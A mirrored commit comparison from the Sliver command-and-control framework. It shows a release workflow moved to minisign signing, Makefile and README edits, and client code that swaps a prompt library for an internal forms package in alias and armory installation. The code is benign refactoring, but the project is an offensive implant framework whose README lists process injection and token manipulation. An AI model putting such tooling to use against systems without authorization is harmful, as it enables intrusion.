mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
37
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c90e674f25 | ||
|
|
679b8d0c51 | ||
|
|
0a42a03052 | ||
|
|
73852e5bf2 | ||
|
|
5bcf59e1b3 | ||
|
|
935c737c35 | ||
|
|
5c04e61235 | ||
|
|
cff7a8ce53 | ||
|
|
e6f452ea2e | ||
|
|
c5f533bc80 | ||
|
|
bc08760320 | ||
|
|
9b37bee391 | ||
|
|
709085238d | ||
|
|
6e4240f0d9 | ||
|
|
c95e5c6cd7 | ||
|
|
ed3ab31741 | ||
|
|
9372b768be | ||
|
|
2d7406f415 | ||
|
|
85ba0cb587 | ||
|
|
251871cca1 | ||
|
|
604318ea54 | ||
|
|
bc72b20f9b | ||
|
|
61022e1eb1 | ||
|
|
a8d59daded | ||
|
|
9195376993 | ||
|
|
a6de8e0304 | ||
|
|
d3ebd34b0d | ||
|
|
310619526d | ||
|
|
1990777c4b | ||
|
|
9570556a87 | ||
|
|
b563919c19 | ||
|
|
f1858ee8f3 | ||
|
|
46a8313a33 | ||
|
|
22454f3385 | ||
|
|
a0fb2a229f | ||
|
|
896c763166 | ||
|
|
12f12218e0 |
No files matched your search
@@ -2,136 +2,88 @@ name: Release
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [master]
|
||||
branches:
|
||||
- master
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
servers-build:
|
||||
name: Release Build Server
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
tag-check:
|
||||
name: Check Release Tag
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
outputs:
|
||||
tag: ${{ steps.tag.outputs.tag }}
|
||||
steps:
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Find Semver Tag
|
||||
id: tag
|
||||
run: |
|
||||
git fetch --prune --tags -f
|
||||
tag=$(git tag --points-at "$GITHUB_SHA" | grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | head -n 1)
|
||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||
|
||||
release:
|
||||
name: Release
|
||||
needs: tag-check
|
||||
if: needs.tag-check.outputs.tag != ''
|
||||
runs-on: ubuntu-latest
|
||||
environment: release
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
|
||||
- name: OS Packages
|
||||
- name: Install Minisign
|
||||
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
|
||||
|
||||
- name: Build Clients
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
make clients
|
||||
mkdir -p artifacts
|
||||
mv sliver-client_* artifacts/
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Make
|
||||
run: make servers
|
||||
|
||||
- name: Server Artifacts
|
||||
uses: actions/upload-artifact@v6
|
||||
with:
|
||||
name: servers
|
||||
path: ./sliver-server_*
|
||||
|
||||
clients-build:
|
||||
name: Release Build Client
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Make
|
||||
run: make clients
|
||||
|
||||
- name: Client Artifacts
|
||||
uses: actions/upload-artifact@v6
|
||||
with:
|
||||
name: clients
|
||||
path: ./sliver-client_*
|
||||
|
||||
tagged-release:
|
||||
needs: [servers-build, clients-build]
|
||||
|
||||
name: "Tagged Release"
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v7
|
||||
with:
|
||||
path: ./builds
|
||||
|
||||
- name: Extract Artifacts
|
||||
- name: Build Servers
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/clients/* ./artifacts
|
||||
cp ./builds/servers/* ./artifacts
|
||||
make servers
|
||||
mv sliver-server_* artifacts/
|
||||
|
||||
- name: GPG Key(s)
|
||||
- name: Sign Artifacts
|
||||
env:
|
||||
MINISIGN_KEY: ${{ secrets.MINISIGN_SLIVER_RELEASE_KEY }}
|
||||
run: |
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
echo "$MINISIGN_KEY" | base64 -d > minisign.key
|
||||
echo "minisign.key bytes: $(wc -c < minisign.key | tr -d ' ')"
|
||||
echo "minisign.key sha256: $(sha256sum minisign.key | awk '{print $1}')"
|
||||
chmod 600 minisign.key
|
||||
for file in artifacts/sliver-*; do
|
||||
[ -f "$file" ] || continue
|
||||
minisign -S -s minisign.key -m "$file" -x "$file.minisig" -W
|
||||
done
|
||||
rm -f minisign.key
|
||||
|
||||
# Linux
|
||||
- name: Linux 386 (Client Only)
|
||||
- name: Create Release
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
|
||||
- name: Linux ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64
|
||||
tag="${{ needs.tag-check.outputs.tag }}"
|
||||
if gh release view "$tag" >/dev/null 2>&1; then
|
||||
echo "Release $tag already exists."
|
||||
exit 0
|
||||
fi
|
||||
gh release create "$tag" --generate-notes
|
||||
|
||||
# Windows
|
||||
- name: Windows 386 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
|
||||
- name: Windows ARM64 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe
|
||||
|
||||
# MacOS
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
# FreeBSD
|
||||
- name: FreeBSD AMD64 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
|
||||
- name: FreeBSD ARM64 (Client Only)
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "bishopfox/action-gh-release@v1"
|
||||
with:
|
||||
files: |
|
||||
./artifacts/*
|
||||
- name: Upload Artifacts
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: gh release upload "${{ needs.tag-check.outputs.tag }}" artifacts/* --clobber
|
||||
@@ -21,44 +21,24 @@ K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
#
|
||||
# Version Information
|
||||
# Build Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 24
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
|
||||
ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
# Debug builds shouldn't be stripped (-s -w flags)
|
||||
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
LDFLAGS_DEBUG = -ldflags "-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
@@ -93,12 +73,6 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
# Redefine LDFLAGS to add the static part
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-extldflags '-static' \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
@@ -157,8 +131,9 @@ clients: clean .downloaded_assets validate-go-version
|
||||
GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: servers
|
||||
servers:
|
||||
servers: clean .downloaded_assets validate-go-version
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-arm64$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
|
||||
@@ -6,12 +6,6 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
|
||||
[](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
|
||||
# v1.6.0 / `master`
|
||||
|
||||
**NOTE:** You are looking at the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
|
||||
|
||||
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
|
||||
|
||||
### Features
|
||||
|
||||
- Dynamic code generation
|
||||
@@ -21,7 +15,7 @@ For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x
|
||||
- [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S)
|
||||
- [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection
|
||||
- [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
- Fully scriptable using [Python](https://github.com/moloch--/sliver-py)
|
||||
- Windows process migration, process injection, user token manipulation, etc.
|
||||
- Let's Encrypt integration
|
||||
- In-memory .NET assembly execution
|
||||
@@ -39,7 +33,7 @@ Download the latest [release](https://github.com/BishopFox/sliver/releases) and
|
||||
|
||||
### Help!
|
||||
|
||||
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
|
||||
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions).
|
||||
|
||||
### Compile From Source
|
||||
|
||||
@@ -52,3 +46,4 @@ Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
+10
-24
@@ -23,7 +23,7 @@ import (
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
)
|
||||
|
||||
func selectConfig() *assets.ClientConfig {
|
||||
@@ -39,32 +39,18 @@ func selectConfig() *assets.ClientConfig {
|
||||
}
|
||||
}
|
||||
|
||||
answer := struct{ Config string }{}
|
||||
qs := getPromptForConfigs(configs)
|
||||
err := survey.Ask(qs, &answer)
|
||||
keys := make([]string, 0, len(configs))
|
||||
for key := range configs {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
selection := keys[0]
|
||||
err := forms.Select("Select a server:", keys, &selection)
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
return nil
|
||||
}
|
||||
|
||||
return configs[answer.Config]
|
||||
}
|
||||
|
||||
func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
|
||||
keys := []string{}
|
||||
for k := range configs {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
return []*survey.Question{
|
||||
{
|
||||
Name: "config",
|
||||
Prompt: &survey.Select{
|
||||
Message: "Select a server:",
|
||||
Options: keys,
|
||||
Default: keys[0],
|
||||
},
|
||||
},
|
||||
}
|
||||
return configs[selection]
|
||||
}
|
||||
@@ -24,9 +24,9 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -62,8 +62,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverClient) {
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Overwrite current install?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -122,8 +121,7 @@ func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite
|
||||
if promptToOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Overwrite current install?", &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -27,11 +27,11 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/packages"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -313,8 +313,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
}
|
||||
con.PrintWarnf("%s", msgStr)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
_ = forms.Confirm("Do you want to continue?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -24,9 +24,9 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -39,8 +39,7 @@ func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm(fmt.Sprintf("Remove '%s' alias?", name), &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -37,7 +37,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
Use: consts.InstallStr,
|
||||
Short: "Install an alias or extension",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Args: cobra.RangeArgs(0, 1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmoryInstallCmd(cmd, con, args)
|
||||
},
|
||||
|
||||
@@ -26,8 +26,9 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -35,6 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
@@ -51,10 +53,9 @@ const (
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var promptToOverwrite bool
|
||||
name := args[0]
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
names := []string{}
|
||||
if len(args) > 0 {
|
||||
names = []string{args[0]}
|
||||
}
|
||||
forceInstallation, err := cmd.Flags().GetBool("force")
|
||||
if err != nil {
|
||||
@@ -83,51 +84,92 @@ func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
if name == "all" {
|
||||
aliases, extensions := packageManifestsInCache()
|
||||
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
|
||||
confirm := false
|
||||
pluralAliases := "es"
|
||||
if aliasCount == 1 {
|
||||
pluralAliases = ""
|
||||
|
||||
if len(names) == 0 {
|
||||
armoryFilterName := ""
|
||||
if armoryPK != "" {
|
||||
armoryFilterName = armoryName
|
||||
}
|
||||
pluralExtensions := "s"
|
||||
if extCount == 1 {
|
||||
pluralExtensions = ""
|
||||
}
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Install %d alias%s and %d extension%s?",
|
||||
aliasCount, pluralAliases, extCount, pluralExtensions,
|
||||
),
|
||||
}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
options := armoryInstallOptions(armoryPK, armoryFilterName)
|
||||
if len(options) == 0 {
|
||||
con.PrintInfof("No packages or bundles found\n")
|
||||
return
|
||||
}
|
||||
promptToOverwrite = false
|
||||
}
|
||||
err = installPackageByName(name, armoryPK, forceInstallation, promptToOverwrite, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if errors.Is(err, ErrPackageNotFound) {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
|
||||
result, err := forms.ArmoryInstallForm(options)
|
||||
if err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return
|
||||
}
|
||||
con.PrintErrorf("Armory install form failed: %s\n", err)
|
||||
return
|
||||
}
|
||||
// If we have made it here, then there was not a bundle or package that matched the provided name
|
||||
if armoryPK == "" {
|
||||
con.PrintErrorf("No package or bundle named %q was found\n", name)
|
||||
if len(result.SelectedNames) == 0 {
|
||||
return
|
||||
}
|
||||
names = result.SelectedNames
|
||||
}
|
||||
if len(names) == 0 {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
if slices.Contains(names, "all") {
|
||||
names = []string{"all"}
|
||||
}
|
||||
|
||||
for _, name := range names {
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
promptOverwrite := promptToOverwrite
|
||||
if name == "all" {
|
||||
aliases, extensions := packageManifestsInCache()
|
||||
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
|
||||
confirm := false
|
||||
pluralAliases := "es"
|
||||
if aliasCount == 1 {
|
||||
pluralAliases = ""
|
||||
}
|
||||
pluralExtensions := "s"
|
||||
if extCount == 1 {
|
||||
pluralExtensions = ""
|
||||
}
|
||||
forms.Confirm(fmt.Sprintf("Install %d alias%s and %d extension%s?",
|
||||
aliasCount, pluralAliases, extCount, pluralExtensions,
|
||||
), &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
promptOverwrite = false
|
||||
}
|
||||
|
||||
err = installPackageByName(name, armoryPK, forceInstallation, promptOverwrite, clientConfig, con)
|
||||
if err == nil {
|
||||
continue
|
||||
}
|
||||
if errors.Is(err, ErrPackageNotFound) {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
|
||||
err = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
if err == nil {
|
||||
continue
|
||||
}
|
||||
// If we have made it here, then there was not a bundle or package that matched the provided name
|
||||
if armoryPK == "" {
|
||||
con.PrintErrorf("No package or bundle named %q was found\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
|
||||
}
|
||||
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
|
||||
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
|
||||
con.PrintErrorf("Could not install package: %s\n", err)
|
||||
}
|
||||
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
|
||||
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("Could not install package: %s\n", err)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -296,11 +338,7 @@ func getPackageIDFromUser(name string, options map[string]string) string {
|
||||
// Add a cancel option
|
||||
optionKeys = append(optionKeys, doNotInstallOption)
|
||||
options[doNotInstallOption] = doNotInstallPackageName
|
||||
prompt := &survey.Select{
|
||||
Message: fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name),
|
||||
Options: optionKeys,
|
||||
}
|
||||
survey.AskOne(prompt, &selectedPackageKey)
|
||||
forms.Select(fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name), optionKeys, &selectedPackageKey)
|
||||
selectedPackageID := options[selectedPackageKey]
|
||||
|
||||
return selectedPackageID
|
||||
@@ -444,12 +482,114 @@ func installPackageByName(name, armoryPK string, forceInstallation, promptToOver
|
||||
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintInfof("Operation complete\n")
|
||||
con.PrintSuccessf("Operation complete\n")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func armoryInstallOptions(armoryPK, armoryName string) []forms.ArmoryInstallOption {
|
||||
options := []forms.ArmoryInstallOption{}
|
||||
seen := make(map[string]bool)
|
||||
packageCount := 0
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
return true
|
||||
}
|
||||
if cacheEntry.LastErr != nil {
|
||||
return true
|
||||
}
|
||||
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
|
||||
return true
|
||||
}
|
||||
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
name := cacheEntry.Alias.CommandName
|
||||
if name == "" {
|
||||
return true
|
||||
}
|
||||
if seen[name] {
|
||||
return true
|
||||
}
|
||||
label := formatArmoryInstallLabel("alias", name, cacheEntry.Alias.Help)
